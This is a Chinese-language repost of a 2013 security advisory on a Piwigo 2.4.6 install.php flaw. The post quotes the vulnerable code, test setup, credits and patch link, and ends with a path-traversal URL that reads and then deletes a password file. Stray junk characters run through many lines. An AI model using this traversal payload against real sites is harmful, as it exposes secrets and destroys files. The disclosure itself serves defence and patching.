Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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! u: T3 X: E  A) j2 r6 s2 WPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 G) d9 h$ X' r+ i) H) G  {====================================================================
/install.php:
( Q' k/ L. h) s4 P& H/ k" e-------------
7 z0 m: a9 Q0 u' i3 e113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
( y! t1 S1 A9 h; u) h117:   header('Pragma: no-cache');
" }# a0 j7 b7 r118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
+ v. U& r( @) m" ^. `. x121:   echo file_get_contents($filename);
122:   unlink($filename);
' k3 ^! N3 I: g9 n' @* |5 X4 i123:   exit();
124: }
====================================================================

) k8 P6 T1 c7 h0 T8 iTested on: Microsoft Windows 7 Ultimate SP1 (EN)
0 q, E( E  o, m& L% i( g           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

* W6 b* B" n1 C% n9 lVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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6 d6 @& L4 @4 H  E8 SAdvisory ID: ZSL-2013-5127
& A$ ?  a6 B. aAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

* f8 x0 {  i. ^. e15.02.2013

" F& o2 _+ }$ s5 R' g--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt